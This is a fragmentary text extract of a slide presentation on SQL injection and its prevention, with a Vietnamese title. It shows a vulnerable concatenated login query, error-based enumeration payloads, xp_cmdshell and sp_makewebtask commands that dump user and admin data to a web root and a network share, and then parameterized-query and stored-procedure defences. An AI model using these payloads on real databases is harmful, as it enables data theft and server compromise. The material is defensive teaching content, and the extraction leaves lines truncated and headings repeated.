Tài liệu SQL injection và cách phòng chống ppt

to prevent SQL injection attack.. • This presentation is going to tell you Not Only some information about SQL injection but also more important things, How to prevent SQL injection corr

• Introduction

• SQL Injection statistics over 6 years

• Risks Posed By SQL Injection

• How to prevent SQL Injection correctly

• Question & Answers

to prevent SQL injection attack

• This presentation is going to tell you Not Only some information about SQL injection but also more

important things, How to prevent SQL injection

correctly

– Execute multiple SQL Statements

– Call build-in stored procedures

sql = "select * from users where username = ‘" + username + "‘

and password = ‘" + password + "‘";

SQL Injection statistics

SQL Injection statistics

SQL Injection statistics

SQL Injection statistics

SQL Injection statistics

SQL Injection statistics

Risks Posed by SQL injection.

• Get some important information with select statements

– Get Server Version

(SELECT name from sysobject Where

xtype=‘U’)) – Get Columns List

' OR 1=CONVERT(int,(SELECT TOP 1 [name] FROM syscolumns WHERE [ID] =(SELECT [ID] FROM sysobjects WHERE

System Compromise

• Extended Stored Procedures

– ‘ ; EXEC master.dbo.xp_cmdshell ‘Net user >c:\inetpub\wwwroot\users.txt’

– ‘; EXEC sp_makewebtask

'\\10.1.1.2\public\output.html',

'SELECT * FROM ADMIN‘

How to prevent SQL Injection

"AND password= @Password";

SqlCommand command = new SqlCommand (sql, connection);

command.Parameters.Add("@Username",

SqlDbType.VarChar).Value = UserName.Text;

command.Parameters.Add("@Password",

SqlDbType.VarChar).Value = Password.Text;

STORED PROCEDURES

• Less vulnerable to SQL injection attacks

• Added security via EXECUTE permission

SqlCommand command = new SqlCommand ("Users_GetUser",

• SQL Injection is one of the most important

problem in web application security

• As shown in page 7, the number of vulnerabilities reported increased more than triples from 2001 Jan-Jun to the same period in 2006, and it is

expected that this figure will continue to increase

in the near future.

• The solutions for SQL injection are not very

complicate but it requires good management to deploy properly

• Don’t under estimate SQL injection and tackle the problem in a more holistic and systematic

approach

6 Security Context of Dynamic SQL Statements Inside a Stored Procedure,